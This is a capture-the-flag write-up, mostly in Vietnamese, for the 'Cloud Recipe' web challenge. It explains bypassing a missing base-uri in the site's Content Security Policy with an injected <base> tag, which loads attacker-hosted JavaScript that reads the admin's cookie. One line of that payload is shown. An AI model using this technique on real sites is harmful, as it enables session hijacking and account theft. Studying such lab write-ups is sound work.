Cloud Recipe
Cloud Recipe - web
Author: tan3ora
- Tên: Cloud Recipe
- Description: Cloud Recipe is the first website entirely dedicated to keeping your secret recipes safe! Even Nuka Cola trusts us!
- Link: http://chall.ctf.k1nd4sus.it:31000/
- Có source code
Phân tích
Trang web có chức năng tạo recipe để lưu trữ và có thể gửi cho admin.
Mục tiêu là bypass được CSP để khai thác XSS lấy cookie của admin.
Check CSP ta có image
Ở đây có thể nghĩ đến 2 hướng : tập trung vào default-src hoặc base-uri. Do trong CSP đã có style-src nên với việc cần khai thác XSS,miss default-src cũng không ảnh hưởng nhiều lắm.
Tập trung vào hướng base-uri,phân tích source code đã cho,phát hiện server dùng đường dẫn tương đối để nhúng file js image
Từ đây có thể chèn url ta tự host qua <base> vào phần <head> để nhúng file js của ta vào và chạy payload javascript.
Khai thác
Dùng requestrepo để host file payload tại /static/js/image.js :
1 | var cookieValue = document.cookie; |
Chèn base-uri qua thẻ meta và gửi cho admin:
image
Decode để lấy flag:
image
Flag: KSUS{0h_n0_m4_l4546n4_r3c1p3}